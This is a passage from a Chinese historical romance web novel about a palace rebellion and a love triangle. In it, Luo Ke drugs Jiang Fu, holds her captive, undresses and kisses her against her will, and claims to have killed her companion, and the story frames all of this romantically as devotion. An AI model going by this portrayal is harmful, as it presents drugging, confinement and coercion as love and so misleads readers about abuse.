狱中之人均为替身,崔兴生一家已逃出长安,与私兵汇合,打起了“清君侧”的旗号自立门户,要朝廷把金吾卫上将军尤茂的人头交出来,还崔氏清白。 他谋反了。 白明旭缠紧额头,让自己更清醒一些:“必须尽快将其剿灭,背后有太多人等着看这场闹剧的结局。此战若败……” 尤茂道:“便将文王杀了。与其做那些人的傀儡,不如死了免除陛下忧患。” 魏琪不悦:“那是我哥,他本来身体就不好。老尤,下次再有这种馊主意,你就憋着,就饭拉出去吧。” 尤茂嘿嘿笑了下:“陛下圣贤,不过还是太年轻了,真到那种时候,别说兄弟,就是父子之间,亦没有人伦。更何况文王这种靠一口气吊着的,最受狼子之人推崇。” 魏琪背过身,捡起奏折翻看。 白明旭道:“我手中可调遣五千精兵,师父这边如何?” 尤茂道:“禁军八千,需留六千守城。若带上闵儿,定能大获全胜。” 白明旭罕见没有搭腔。他默了一会儿,道:“要不就别带师弟了,你带几个师兄助阵,都是一样的。” 尤茂吹了下胡子:“怎么?你也被那小娘子说动了?那是我徒弟,我亲手教养大的!娶媳妇是好事,可哪有被媳妇拐跑不认师父的说法?” “好了好了,那你便叫。叫得出来算你厉害。” “叫不出来我亲自去他被窝把他拎出来,臭小子,见色忘义。” 白明旭叹息一声,朝魏琪跪下:“陛下,事不宜迟,我这就去召集部下做战前准备。请陛下放心,不剿灭崔贼,我便也死在那里。” 魏琪道:“你得活着回来见我。事成以后,你祖父的爵位我要重新赐给你。” “多谢……陛下。” 第42章 第 42 章 释怀告别。 雨后隔天, 气候阴冷。 蒋芙穿了两套衣服在身上,想着见完沈听南出来,定要去街上买几身厚衣服。 快要过冬了。 骆沁与她一同坐马车,手牵着手靠在她怀里。 自从知道了她要离开, 小女孩就整天黏在她身边。 沈听南暂居公主府, 蒋芙无法进入, 约在了外面的茶馆相见。 茶仆热情将她们带到雅间。推开门, 阔别已久见到了沈听南。 她穿着天水色窄袖对襟长裙, 外披银白大袖薄纱,斜斜倚靠在窗台上遥望出神。桌上檀香缭绕, 升腾弥漫在室内,氤氤氲氲。 听见声响,她转过头来,风吹起她额角的发丝。 蒋芙一向对她的美貌免疫,如今似乎因为隔了太久的时间,又或者分别在即,恩怨消散,真心为她的容颜叹服。 沈听南视线与她交汇,又移到了抱着她手臂的骆沁身上, 垂头苦涩一笑:“沁儿也来了?” 骆沁不知怎的, 与蒋芙这般站在一起, 面对神伤的沈听南,心中生出了接近惭愧的心情。 她心虚松开手, 对沈听南露出柔和的笑:“听南姐,你和芙姐说哈!我肚子饿了,下楼要点吃的!你们慢慢说!” “……” 走廊里传来下楼的踢踢踏踏声。 蒋芙深深与沈听南对视一眼。 “我要走了。” 对面传来一声嗤笑:“你要去哪呢?” 沈听南撑着扶手起身,披帛曳地, 缓步朝她走来:“蒋芙,你赢了,赢得彻底。明明什么都没有,却得到了公子岢的心,还有张闵,你们也越过我的挑拨和好了。你都这么厉害了,还要走吗?” 蒋芙只是看着她:“我从来没想过和你比。沈听南,我最初真的把你当朋友……” “别说这些!” 沈听南突然吼着打断她:“你说这些有什么用?你不和我比,你是瞧不起我吗?哪有人在心里不比较的呢?你是知道很多事情,你有很多我想都没想过的想法,可那又怎么了?你凭什么那么自大不和我比?你凭什么否认我拼了命得到的东西?” 蒋芙这一次没有被她的愤怒点燃。 她平静得像燃烧过的灰尘:“我不和你比,因为你是我朋友。” “我看重你,珍惜你,在心里为你的出色钦佩、高兴,我不想嫉妒你。可你在想什么?你非要让我为你自卑吗?” “是啊!我就要你自卑!你自卑了,我就有理由安慰你,在你身边做个神圣的好人!我想让你只认准我一个人!为什么?为什么要有张闵呢?最开始没有他的!最开始只有你和我两个人!” 沈听南在蒋芙诧异的目光中一步步逼近,她扯过蒋芙的手,放在自己胸口上。 “你说过,我和你是最亲近的,你也说过,我是天底下最好的女子。既然最好、最亲近,你就该永远留在我身边,哪怕我对你做了什么错事,你也要忍!为什么不忍?你不是爱我吗?” 蒋芙震惊地沉默。 她没想过沈听南之前总跟她过不去是这么想的。 她也没想到,她能完全理解她的逻辑——她也是这么对待爱她的人的。 对方说了爱,就要爱所有,包容所有,因为对方先说爱了。 她和沈听南竟然是一种人吗? 震惊像雷雨之时的一线天光,短暂明亮,而后归于云幕。 她说:“是你不爱我。” 沈听南的眼泪停在眼眶里。 蒋芙重复:“你不爱我,所以任性,所以要我妥协,但我才不要,因为我也没那么爱你。” “可我也有点爱你,所以我为你伤心,为你愤怒。你也是吧?” 沈听南无声滴答泪水。 “你也有点爱我。所以你会偶尔会照顾我一下,在我马上要送命的时候,豁出自己的底线救我。谢谢你,不管你怎么想的,你总有那么一刻,一瞬间对我存在善意。” “谢谢你,我也是一样。虽然我挺讨厌你,但是你过得不好,我也不会开心,你要死的时候,我也会豁出命救你。” 沈听南擦眼泪:“……我知道。” “我也想到……我可能不是因为嫁不成骆岢生你的气。就算我如愿嫁给他,看到你和别人在一起,我也会不舒服。我们不是最好的吗?为什么你总要让身边至近的位置再多一个人呢?” 蒋芙古怪看她:“你不会喜欢我吧?你喜欢女的?” 沈听南愣了一下:“什么……喜欢?” “……你想想,这决定我怎么对待你。” 蒋芙问:“你想过亲我吗?” 沈听南睫毛下存着漂亮的泪珠:“我……好像亲过你,小时候。” 蒋芙指尖挠了挠脸,尴尬不敢看她:“那……现在呢?” 沈听南双眼游离,像是有很多想法从脑子里游走,将她思绪搅得天翻地乱。 “我……为什么要想亲你?我没想过啊……” 蒋芙清了清嗓子:“那就好,你、你别想那些乱七八糟的了。咱们都是普通的、普通的……” “你应该就是占有欲比较强,我其实也有点,你看,我不就受不了张闵和你好吗……” 说远了。 “我后天就要走了,今天是来跟你道别的。” 沈听南恢复正常,被打了莫名其妙的岔,情绪因此转折平静:“后天吗?那公子怎么办?” 蒋芙倒茶喝,水声明脆:“……能怎么办,活着呗。” 沈听南道:“你别被公子骗了,他那人没有表面那么简单。” 不明原因,提起骆岢,蒋芙就能在脑海里想出他的样子。 她笑着捧茶杯:“我还能不知道他?” 沈听南默了下,也喝茶,想她大概是不知道的。 抬眼,是蒋芙捧着茶杯到她面前:“碰一个,我就原谅你了,反正之后也不用再见,就当为过去的事收尾。” 沈听南将茶杯与她碰了下。 发泄过后,将心思与她交了底,她的心湖像填沙般寂静。 “是我原谅你。我招惹你的那些事,哪次你真的吃亏了?” “可我也没捞到什么好处啊,整天被你找晦气。” 两人将杯中茶一饮而尽。 幼时一同长大的重要的友人,后天就要离开。天高水远,此生诀别,按理讲她应该受不了。 但沈听南就是觉得,她走不成。 不需要她做什么,自有人去拦- 就像“人之将死,其言也善”。 蒋芙怀揣着自己与这些人永别的心思,慈悲地说尽了释然与原谅。 她一向都觉得别人对不起自己。 只有一个人,她心底有些亏欠。 她将骆岢约在外面的饭馆,门店最辉煌的一家。她打算从自己的家当里破费一笔,换取他的原谅,又或者是自己心安。 骆岢进门时犹如春风拂面,心情好,容光便愈发盛人,似乎很是用心打扮了一番。 看到蒋芙的那一刻,他眼神柔和,像是有水化开。 “我也……穿了新衣裳。芙芙可有看出来?” 蒋芙一瞬明白他进门之后心情更好的原因:她身上穿着新买的夹袄,绣椿花的样式。 ——他把这次吃饭当成约会了。 蒋芙有些受不住他的殷切期望,躲闪眼神:“你衣裳太多,我没看出来。” 这是她见的最后一位故人。 “我明天就要走了,今天找你,是为往事道歉。” 她没敢看人,桌上摆着色泽诱人的大鱼大肉。她并不了解骆岢喜欢吃什么,都是按照价钱点的。她的歉意全在银两里,希望他领情。 “我之前说话是过分了,就算你讨人嫌,无冤无仇,也不该那么挤兑你的。” “你就当我嫉妒吧。你这种家世的人,就算瞧不起我又有什么不对?你又没打我,是我自尊心太高了。我没什么过人之处,凭什么让别人尊重我?” 蒋芙将曾经的憋闷彻底化为枯水:“家世好,就是了不起。” “长得好,也了不起。” “面子上让所有人过得去,更了不起。” “公子你是了不起的人,我之前说错了,你……原谅我,放过我吧。” “不要再恨我了。” 桌上宛若静音,听得见饭馆之外临街的喧闹声。 蒋芙鼓起勇气抬眼,意料之外,他没有哭。 她松了口气,看来还是和她想的一样,他不是喜欢她,而是想用喜欢报复她。还好她做了心理准备。 “不管你怎么讨厌我,我之后都不会在你面前碍事了。我会走得远远的,一辈子都不再让公子烦心。” “……” 骆岢面无表情盯她,除了眨眼,就像描在画上的人。 蒋芙想,这就是他的真面目吗? 她更轻松一些,捡椅背上挂着的披风。 “那公子你慢慢吃,这桌菜都是我点给你赔罪的,花了我一半的银子呢。为了给你赔罪,我可是下了血本。” “没关系。” 声音低平,像和空气融在一起。 蒋芙有一瞬间以为是自己的错觉。她疑惑看了他一眼,见他面容微笑,姿态未变,定定的注视。 “我怎么……会生蒋娘子的气呢?” “你要去哪?” 伸手不打笑脸人,且还有亲过几次嘴的交情,蒋芙道:“我们先回光州,送我娘回家,之后,可能会去远点的地方。我们哪都想去,看雪,看海?也许还可以坐船出海,看看别的大陆,万一有食人族呢。” “我们?” “我和张闵。” 他笑了一声,很冰冷的一声。 “蒋娘子,你不和他走好不好?那些地方,我也可以陪你去啊。” 他眼睛黑洞洞的,看着令人心里发毛。 “你们走了,迟早要在一起的。在一起就要成亲,那娘子就骗我了。不是承诺过我吗?” 他走到蒋芙面前,高挑清瘦的身子挡住唯一的出口。 “你要是和他成亲,我就杀了他,你猜,我做不做得到?” 第43章 第 43 章 病态幽禁。 “我本早去洛城瞧你, 自从公婆相继撒手人寰,你和你哥哥就再没来过我家。想叫几辆马车和护卫看你们,又自己在心里多疑,万一郡公难忘金玉, 有意与李家断交, 我们再去不是平白惹人烦吗?” “这么一来, 就是五六年。沁儿从小丫头长成大姑娘了, 瞧瞧这头乌亮的头发, 和你娘当年在世时是一般模样的。” “舅母……” 骆沁拿着帕子擦眼泪,与牛氏执手相望。 牛氏回首, 她身边的侍女适时将礼品送上。 侍女殷勤介绍:“娘子,这匹是流彩映霞锦,这钗叫金缕凝翠华。” 她回身换了另一个托盘:“这匣名为墨韵藏珍匣,这道点心是玉盘金酥饴。都是我家夫人准备许久的,从库房里翻来覆去挑了这几样,娘子看着可好?” 骆沁泪花朦胧着露出笑脸:“舅母的心意,沁儿自然怎么看怎么好。” 牛氏苦笑着捏捏她的脸:“你外祖父去世后,爵位还了朝廷回去,家里不比当年富贵了。你舅舅如今在吏部做侍郎, 留下一身劳碌病, 变了, 都变了。” 骆沁安慰她:“舅母,不要回想了, 眼下的幸福才是真的呀。” 牛氏道:“我也认这个理,你舅舅也是知足的,耐不住底下的小辈闯祸。崔家的事,你听说了吗?” 百年世家, 一夜倒台。即便事发至今已过十日,长安城内仍然因此噤声,弥漫兔死狐悲之感。 骆沁看着舅母。 牛氏握着她的手,眼泪已经下来了。 “原不应找你,我这个长辈,又许久不见,哪来的脸求你为我办事呢?但你表姐,我就那一个女儿,她嫁进崔家去了。崔氏在城外反叛,牵连了她。沁儿,你与你兄长在陛下那得脸,能不能帮帮舅母?” 骆沁记得那个表姐,小时哄过她玩,她也不忍心就这样看着她死。 “我知道了,我会转告哥哥,让他去求陛下。舅母,你别哭了。” 城外的仗还在打,但所有人都认为崔氏必败。 与兵力无关,与民心相关。 在过得尚可的百姓眼里,崔氏是作恶的世家大族,如今彻底沦为反贼。 所经之处,一片骂声。 百姓岂能约束得住?崔氏处死了一个,便又惹来铺天盖地的骂声。连吃食都没处买,靠抢的,百姓都逃走了。 他们的结果已经一眼看得见了。 见骆沁点头,牛氏松了弦似的低头哭了起来,足以见得,她来这一趟是真心没脸的。骆沁又如此念旧情,一片良善,让她内心极度羞愧。 公婆都死后,他们家真当断了这门亲戚来的,丧礼之后再没走动过。郡公不愿见他们,每次会见都不给什么好脸,日子一长,他们便将怨气撒到孩子身上,多年不闻不问。如今遇到事了,反倒要眼巴巴来求。 牛氏哭了一会儿,将眼泪擦干净。 “你哥哥呢?是不愿见我吗?” 骆沁抚她的背:“舅母又多疑啦,哥哥这几天病了,都不出门,我也看不见他的影子。” 牛氏拍拍她的手:“既在病中,便不宜打扰。只愿沁儿记得舅母的请求,在崔家受天罚时救救你表姐。” “舅母放心,会的。”- “嘶——” 额角钻动着疼。 蒋芙痛苦睁眼,混沌的记忆逐渐回笼,像玄铁压到棉花上。 这是哪里? 她…… 她请骆岢吃饭道歉。 他开始笑着说了原谅,而后陡然翻脸,说她要是敢和张闵成亲就杀了他。 她都已经保证过,不会和张闵成亲了。骆岢却不信她,威胁之后又像是受了天大的委屈,站她面前呆愣愣地哭。 “你已经那么对我了,还说走就走吗?” “对你而言,我算什么?蒋娘子,你怎么这么讨厌?” “明明自顾自做的事,还想让我原谅你。原谅你,让你转头就忘了我吗?” “我讨厌你,我恨你。” 蒋芙满心满眼觉得他麻烦,不耐道:“我这不是在跟你道歉吗?” “我不接受。”他将头偏到一边,哭得肩膀都在颤抖,却因好教养,一丝声音也无。 蒋芙到底良心有愧,拉他坐下:“先吃饭,吃完饭再说。” 饭桌上只有她一人在动筷,骆岢怎样无所谓,她心疼她的银子,就算心情再不好,也得吃饱,不然真是彻底白费了。 她已决定不再管他想法。歉意都说了,原谅与否是他的事,她没空跟他耽搁。 第二天她该走还是要走。这样闹得不愉快,不能光明正大,难道还不能偷偷地走吗? 她最后吃了顿早饭,便往包里收拾东西。 记忆掐断在这,她应该是被人药晕了。 有人在她的早饭里下药。 怪不得,她当时觉得粥味苦,本着珍惜粮食的心态,忍着吃进去。 结果是药。 竟然是药! 她闭着眼睛都猜到是谁干的! 火气从胸腔一口口向上渡,她的心脏化成一只船只,随着湖水翻来覆去摇晃,只等雷雨袭来,彻底沉没。 “……唔。” 身下传来一道迷迷糊糊的声音,蒋芙眼中带恨望去,就见骆岢从她床边转醒,手还牢牢和她牵在一处。 娇生惯养的人,何曾缩在人的床沿睡过? 他像是有些不适,面色灰暗。但一切都在看到她眼睛的那一刻消失了,他变成了无坚不摧的玉人,微微露出笑颜。 “芙芙,你醒了?” 蒋芙薄唇轻启:“——贱人!” 等来她的第一句话是训斥,骆岢并不奇怪,也不会伤心了。他何必为没有心的人伤心呢。 可即便这么想,他的心还在隐隐作痛。 “你对我做了什么?为什么我现在动不了?” 骆岢眸色暗沉:“我下了药,似乎下得多了些。你昏睡了一天,是我在照看你。” 他凑身过来,吻在她的唇上,眼神迷恋:“好乖,芙芙。” 他说着,唇舌便一同覆上。蒋芙想把他舌头咬断,但是没有力气,她光是保持愤怒都好累。 怒火一点点堆积,浓到深处,却没出息地被他吻出了其他的情绪。 他们的手还在十指相扣着,每一次用力吻,他的手总要扣她更紧些。 等他退开,蒋芙不停喘气,险些被他给憋死。 “……呼……你是不是疯了?” “我是疯了,是被你给逼疯的。所以,你得负责。” 他应答干脆,见她唇上还有两人吻过留下的水光,又俯首过去,将莹亮一点点吸吻干净。 蒋芙冷眼觑他:“我凭什么负责?你现在在对我做什么?这就是你的喜欢吗?” “你喜欢我,就是给我下药这么喜欢的?有事不满意就不能跟我商量吗?你用的这是什么下作手段?” 骆岢轻道:“我不下药,你就走了。” “而且,和你商量有用吗?你只会骗我,然后偷偷找你的张闵。” 他露出嘲讽的笑:“芙芙,他哪里好?你为何弃我选他?是姿色,还是我拼命补偿、也找不回的那十几年的情意?” “我已经够美了,不是吗?” 说话间,蒋芙察觉他手上的动作。 他在拆她的衣带。 还有另一件事,她的衣服和临走那天的衣服不一样了。 仿佛读懂她目光一般,骆岢道:“是我给你换的衣服,从里到外。” 他眼眸寒潭般盯她,“每一寸地方,我都见过了。” 衣带散落,她的身体从层层叠叠的衣物下展露在空气里。 蒋芙咬牙切齿:“你做到哪一步?” 她多少有感受,身体除了无力以外并无异样,但为着火气仍逼问:“你说,你做到哪一步?” 骆岢指尖流连她的脖颈,往下,停在锁骨。 蒋芙也在烛光里看见他的脖颈,他今日没有敷粉,喉结处还残留她咬过的疤痕。 有两滴热泪落在她胸前的皮肤上。 蒋芙气笑了,“你哭什么?说啊,你做到哪一步了?” 骆岢似绝望:“你便这般看我。” 他将脸贴在蒋芙的胸口,泪水沿着耳廓躺进她的身体。 “你就是这样看我,误解我的。” “我还等着与你成亲,怎会趁人之危,与你做那些事?” 蒋芙冷冷道:“但你可是趁人之危,把我看光了啊。” 骆岢已然带了鼻音:“看光了,你不是就不会再找其他男人了吗?” “屁!我只会把你的眼睛剜出来,以后照样找其他男人!” 他抬头,面对着她,发红的眼睛像被她伤透了:“那你便剜好了。” “你剜,剜了以后我看不见你,也就不用因你与其他人在一起伤心了。” “剜啊,芙芙。” 蒋芙:“……贱人。” 他低眸又落了会儿泪,喃喃:“……不管用。” “……如果是孩子呢?你生一个我的孩子吧,芙芙。有了孩子,你还会走吗?” 蒋芙忍无可忍:“你给我清醒点!我警告你骆岢,你别碰我!你要是敢让我怀上孩子,我这辈子都恨你!我真的要杀了你!” “……恨我也好,杀我也罢,总比你忘了我好。” 骆岢捧她的脸:“我们在这拜堂成亲如何?以后芙芙就是我的夫人了。” “你别碰我!” 没有任何契机,蒋芙惊然想起出走行程的另一人。 她没走成,又被骆岢关在这不知是哪里的地方,张闵不可能放着不管。 他怎么没把她救出去? “张闵呢?你把他怎么样了?” 如果说之前的愤怒还停留在情仇的立场,这一问是带了十成十的深仇大恨。 骆岢眼中的光彻底熄灭了。 “他死了。” 光是听到那个字,蒋芙的心脏都在颤抖。 她忍了忍,努力平静:“……你再说一遍,别挑衅我!” 骆岢道:“他死了,芙芙。往后,你心里不可有他,只装着我一人吧。” 他声音几乎不掺杂任何感情色彩,说出去也是等着挨骂的。 但是蒋芙什么都没说。 他转头去看,看到她咬着嘴唇流泪。 怎么、哭了…… “芙芙……” 她偏头躲开他的手,泪眼模糊质问:“骆岢,你在干什么?” “我又没喜欢他,就是跟他走,是我求着他跟我走的,你杀他干什么?你杀他我难道就喜欢你了吗?” 随后,她绵软的手费力挪了挪,落在他手上,眼神近乎哀求:“他真的死了?” 骆岢不喜欢她对自己咄咄逼人的无情模样,可当她为另一人向他服软,他仍然心如刀割。 第44章 第 44 章 芙岢三气。 蒋芙昏昏沉沉睡着, 梦见张闵背对她站着。 她朝他跑过去,却无法跑到他身边,急得她直哭。 裙摆被人拉了拉,她低头, 是小时候的张闵。到她腰那么高的小孩, 皮肤冷白, 一双沉静的眼睛在尚未张开的脸上圆润又可爱。 他微微蹙眉:“哭什么?” 蒋芙眨了眨眼, 忽然也变成和他一般大的小孩。她揉着脸哭, 被张闵机械拍头,户外的天愈来愈蓝, 光线明媚。 “我以为你死了。” 张闵道:“我娘说,人八十岁才死。” 蒋芙抱住他,蹭他软乎乎的侧脸:“说什么傻话,人随时都能死。” 她说:“我曾经在心里发誓,要保护你一辈子。可是我越长大越没用,靠着你才能活下去不说,最后还要把你害死。” “我怎么能把你害死呢……我怎么跟云姨交代,怎么跟我娘交代……” “都是我胡闹。” “你是很强没错,但你一个怎么打得过那么多人?” “芙芙?” “我好后悔, 好后悔……” 她哭得醒了, 悲痛郁结于心, 又发声哭了一会儿。 骆岢睡在她旁边,被她的哭声吵醒, 撑起身子拍她:“做噩梦了?没事的,我在这里。” 蒋芙身上的药效快要过去,被他触碰,一鼓劲将他推走。 “别碰我!杀人犯!” “……” 骆岢眸子里的困倦渐渐被暗色遮掩, 如画般描摹的眉眼浮现了几抹戾气。 他垂首半晌,手攥紧盖在两人身上的被子。 “既然这么恨,要杀了我吗?” 蒋芙眼角还挂着泪,目光仿佛要将他千刀万剐:“你以为我不敢?” 骆岢冷笑一声。他才不要再为这个人哭,他的眼睛已经为她哭肿了。 可是他一偏头,泪仍无声落下。 蒋芙气得把被子踹了:“哭哭哭!你就知道哭!你除了哭还会做什么?” “是,我忘了,除了哭,你还会杀人!你杀了他,这辈子别指望我爱你!” “卑鄙小人!下流手段!无耻!虚伪!” 她越骂越生气,从床上下去在地上摸鞋。 弯着的腰被人从身后抱住。 骆岢将脸靠在她的背上,眼泪从薄滑的寝衣透到她的脊背。 “不要……求求你,芙芙,你不要走……” 蒋芙面无表情:“把自己弄得这么可怜,以为我会心软吗?我只会更轻贱你!” 紧密贴在一起的身体传来他的颤抖,片刻,他松开手。 “你走不了,我的人在外面。他们不会放你走。” “……” 蒋芙本也不想再走了! 她还能去哪!他都把她的翅膀剪断,双腿也捆在一起锁在笼子里了! 接下来,她无论去哪,都逃不掉他的势力。就算成功逃了出去,日子也得东躲西藏地过,还要再提防其他心怀不轨的人,每天操碎了心,被自己一条命给累死! 如骆岢所愿,她这辈子可能真的要指望他一个人活了! 他还有什么不满意?还摆出这副受害者的模样,像她怎么伤害他了似的! 她哪里伤害得到他!是他!他把她的人生给堵死了! 蒋芙不停抹脸,被气得心口疼。 骆岢见她一人蜷缩在床脚,默默地哭,心也跟着难受。 天底下就是有这样的人,能用她的喜怒哀乐牵扯他的心绪,她掉两滴眼泪,他的心也跟着碎了。 骆岢挪到她身边,用被子将她拢在怀里。 “恨我的话,就杀我,不想脏手,就下毒吧。” 蒋芙微微侧头,听他继续。 “我亲笔写遗书,便不会有人追究你。偷来这些光阴已足够了,哪怕即刻死在你手里,我亦情愿。” “……神经病。” “愿意跟我好好说话了?” “你哪只耳朵听到我跟你好好说话了?我不是在骂你吗?” 骆岢将头抵在她肩上:“别骂了,我知错。” “不好意思,我停不了!以后我天天时时刻刻都要骂你!” “也就是天天、时时、刻刻都与我一起吗?” “……你脑子有病!你是真有病!你烂到心里去了你!我真服了!” 蒋芙用力推他,却推不动。 两人僵持着靠坐在一起。许久,他蓦然开口:“再过些时日。” “这些日子,长安动乱,路上恐易生变。等这阵叛乱平定,我就带你去光州,去看雪,去出海,去看你说的食人族。” 蒋芙冷道:“我不和仇人做那些,公子你自重吧。” 骆岢道:“自重吗?” “娘子在仇人身边,不做那些,却能亲吻吗?” 蒋芙气焰又被翻了上来:“我杀了你!” 她反扑过去,咬他脖颈上的动脉。只是牙齿上去,怒火也像被一桶冰水淋了似的。 她真把他咬死,估计也要死在这张床上了。 好恨! 她好恨! 蒋芙坐起身呜呜哭。 人怎么能活成她这么憋屈,一点光都看不见呢。 骆岢的领子被她扒掉,露出嫩白的肩头。 他撑起身子,雪弦月般风流的姿势依靠在床上,一点点吻她脸上的泪水,语气温柔哄:“我说错了,别气,芙芙。我说错了,是我要吻你的,不怪你,不哭。” 她躲开脸,哭得更厉害了。 怎么哪都能让他钻到空子! 好气人啊! 她边哭边发狠:“我恨你!我讨厌你!我这辈子都不喜欢你!呜呜呜!” 骆岢默然,片刻,也被她骂掉了眼泪。 “就那么恨我,那么讨厌我吗?亲一下都不行吗?” “你亲我,我恶心!” 他哽了一下,翻身向里,将脸埋进枕头里,半边肩膀还露在外面,不时抽动一下。 他们两个,一人闷着哭,一人敞着哭。 哭得累了,各自睡去,天亮以后却脸对着脸,抱得比感情好的夫妻还要紧。 蒋芙瞧着骆岢的睡脸,他明显憔悴了,却也有憔悴的风度。心里受伤,眉心便也收拢着,不知情的人见了定要心软,争相盼着机会为他解决愁绪。 她不是不可怜他。 但她可怜他,张闵由谁来可怜呢? 他招谁惹谁了?凭什么就要被杀? 想到这一点,蒋芙心也冷了。 她从他怀里出来,被屋子里的冷气冻了一下,老老实实钻回被窝。 又不甘心就这么和骆岢凑在一起。 然后她想,凭什么不想在一起就要她来做那个后退的人? 她一脚踹向骆岢,想把他从被子里蹬出去,蹬不动也不要紧,把他弄醒就够了。 却没想到,一抬腿,踢到了应该避开的地方。 “……!” 骆岢痛得皱眉,顷刻醒了,震惊看她,双眸里全是愤怒。 他痛得说不出话,眼神倒是把他的意思都传达出来了。 她便是愤恨至此,要将他传宗接代的根本毁去吗? 蒋芙心里尴尬,面上还凝着。 她不是故意的,她不知道会踢到那里。 似乎因着疼的位置不雅,骆岢背过身去。 忍了一会儿,他就又开始哭了。 蒋芙仰头沉思,自己这是造了什么孽,惹到这么一个受委屈就掉小珍珠的男人。 “你能不能有点男子气概!你到底在哭什么!” 骆岢吸了吸鼻子:“你以为我在哭什么?” 蒋芙沉默了。 片刻,她冷着脸往他身边爬:“……踢成什么样啊?扁、扁了?” 骆岢眼睛的红肿还没消退,脸就开始红了。 “没。” “还疼吗?” 他点头。 蒋芙觉得难办:“找大夫?” 他很剧烈摇头:“不要!” 蒋芙失去耐心:“那怎么办!” 她一吼,他便又转了个方向,拿后背对她。 蒋芙:“……” 她稍微收了点语气:“我都没用力,还能踢坏了吗?” 骆岢不回话。 她伸手拉他:“我看看……” 骆岢身体一僵。 蒋芙也后知后觉自己说了什么,但是话都说出去了。 ——遇事不决,先骂一句。 “好心当成驴肝肺!谁愿意管你似的!” 说完,她有些慌乱了回了被窝,用被子盖住自己。 “你快点!不疼了就去干活!我冷了!端起个炭盆进来!” 静默许久,骆岢的方向传来窸窸簌簌的衣料声。 他下床更衣,穿戴整齐以后,变回了那个绝世容光的公子。然后一言不发给她端炭盆,盛早饭。 这些天,他都是这么照顾她的。不想被别人发现她在这里,就只能事必躬亲,不让第二个人见到她。 因着早晨的尴尬,吃饭的时候两边都不说话。 蒋芙吃着粥,不时瞄他那里一眼,回想脚感。 好像是……软中带硬? 她用筷子抽了几下自己的头。 想什么!想什么!在想什么! 他杀了张闵!她在想什么!张闵头七还没过! 骆岢则在闷气,再怎么说,她都不该攻击他那里。 真的很痛啊。 吃过饭,骆岢将一碗褐色的汤水摆在她面前。 蒋芙闻到苦味,凌厉抬眼:“这什么?” 骆岢淡声道:“这是之前的那种药。娘子药效过了,有些危险,还是喝了吧。” 蒋芙气得拍了下桌子,碗中药汤溢出去一些。 “你昨天晚上还说让我杀你呢!就是不小心踢了你一脚,我就危险?” “假大方!大话放出去做不到!你虚伪至极!” 骆岢道:“喝掉吧,你不喝,我也有办法让你喝。” 蒋芙直接把桌子掀了,药汤与残羹剩饭洒到地毯上。 “我不喝!” 她站起身,愤怒盯他:“还有!你态度给我放好点!给我放好点!你再给我甩脸子试试!” 骆岢仰头回望,也带了怒意:“我不是没有苦苦哀求过,可在娘子面前不是没用吗?我何苦继续轻贱自己?” “你太恶心!说了那么多可怜话,你愿意如何如何,结果都是说说而已!幸好我讨厌你,我要是喜欢你,就是倒了八辈子霉!” 蒋芙撒气踩那药碗,结果太用力把脚踩痛了。 她脸色白了一瞬,骆岢便也跟着紧张起来,从对坐的位置上移过身看她的脚。 蒋芙脚踩着他肩膀,将人向后掀翻。 “我确实倒霉!我当时就不该选你,在场那么多高门大户的郎君,哪个不比你好!我选他们表白情意,一样摆脱得了金无尽!说不定,我现在都嫁过去跟别人生儿育女了!何必在这里跟你蹉跎!” “……不选我,你要选谁?” 他神情阴沉,是怒极的模样,蒋芙想着自己得适可而止了,不然他打她怎么办,张闵死了,还有谁护她? 可她忍不住。 “我谁都能选,怎么,你还能把他们都杀了吗?” “我不能!” 他匆匆擦泪,起身大步走了出去。 而后,蒋芙听见门窗落锁的声音。 “……” “骆岢!我恨你!我最讨厌你!有本事你把我关一辈子!” “……” 无人回响。 蒋芙捡起玉器要砸,然而想到这摆件的背后是多少工人赶制,又足够普通人吃多少年的饭,就又放了回去。 还是等人回来打人吧,东西是无辜的- 骆岢躲到静室哭了一阵,心中郁结,但妹妹有事求他,他得进宫一趟。 正是局势紧要,波谲云诡的时候。骆岢一病病了那么久,宫里发下的旨意都敢推拒。 他再不露面,魏琪简直要以为他也要反了。 见到骆岢之后,那点怀疑散了。 他面貌倒不能说全非,但与之前也快要判若两人了,浑身散发着忧郁的气质,应该是真病了。 骆岢说了舅父家里的事,希望平判崔氏以后,能留表姐一命。 魏琪允了,盯着他啧啧称奇。 “你怎么破落成这副模样?” 骆岢被人问,就有垂泪的冲动。 他忍了又忍,因为她说他这样没有男子气概。 “风花雪月,像是书中之梦。” 魏琪一下子明白。 他听说了,那个姓蒋的小娘子多日前离开长安,将骆岢一人抛弃在这。 思及此处,心中不免生出同病相怜之感。 骆沁也许久不来见他,像是有意与他诀别了。 “大好男儿,正是建功立业之时,怎能困与儿女情长呢?身不成,如何堪为佳人依仗?” 魏琪好心道:“不如我给你送几个美人?” 他这刚好有叔伯送来的美女没处置,用在骆岢身上皆大欢喜。 没曾想骆岢眼神一凛:“陛下已经有过其他美人了?” 魏琪并没有,他虽然是皇帝,但比较珍惜自己的初夜。 但这说出去太丢人了。 “你什么意思?” 骆岢将愤然尽数收回,恭敬道:“上次陛下所托之事,我原本想依照小妹心意。但如今看来,是陛下英明,小妹与陛下着实不是良配,臣会尽快给小妹订一桩亲事,杜绝她以下犯上的念头。” 魏琪:“……” 魏琪:“哦,行。” 骆岢磕头:“臣身体不适,陛下恕罪,容臣先行告退。” 魏琪点头:“你走吧。” 人走后,他上蹿下跳,捂嘴磕墙后悔。 忘了兄弟是她哥了。 不过,有一句话骆岢说对了。 本就……不是良配。 第45章 第 45 章 故人归来。 怎么会有人口津生甜…… 蒋芙从没见过这样的人, 又或者,她只尝过骆岢一人,没有尝别人的机会。 她被他拥在怀里,借着体型的差距, 自上而下吃吻。 明明刚才还在闹脾气, 嘴贴在一起, 就莫名其妙亲起来了。 蒋芙心里充斥着对张闵的负罪感。 她在一点点对他的仇人软化态度。 为何就被勾搭上了呢? “……” 门外传来脚步声。 “公子, 公女来了院子, 说有事见你,要将人接应过来吗?” 骆岢圈着她腰的手骤然紧了几分, 最后咬了咬她嘴唇,分开,声音低哑:“带过来吧。” 蒋芙用袖子擦嘴,做出一副极嫌弃的样子,为自己的留恋胆战心惊。 “这是什么地方,为啥要说‘接应’?” “有些机关。”他垂着眸子盯她被咬肿的嘴唇,靠近轻吻,以表歉意。 “你留在这,不要乱叫, 被沁儿发现恐无法辩解。” 蒋芙冷哼一声:“辩解?你不就是做了龌龊的事吗, 有什么可辩解的?” 这几日没有用药, 她也安安分分在他身边待着,亲吻时偶尔用充满爱意的眼神看他。 骆岢察觉她的变化, 心中掀起粼粼的欢喜,却不敢轻举妄动。 慢慢来,总有一天,她会把他装进心里。 “你说的对, 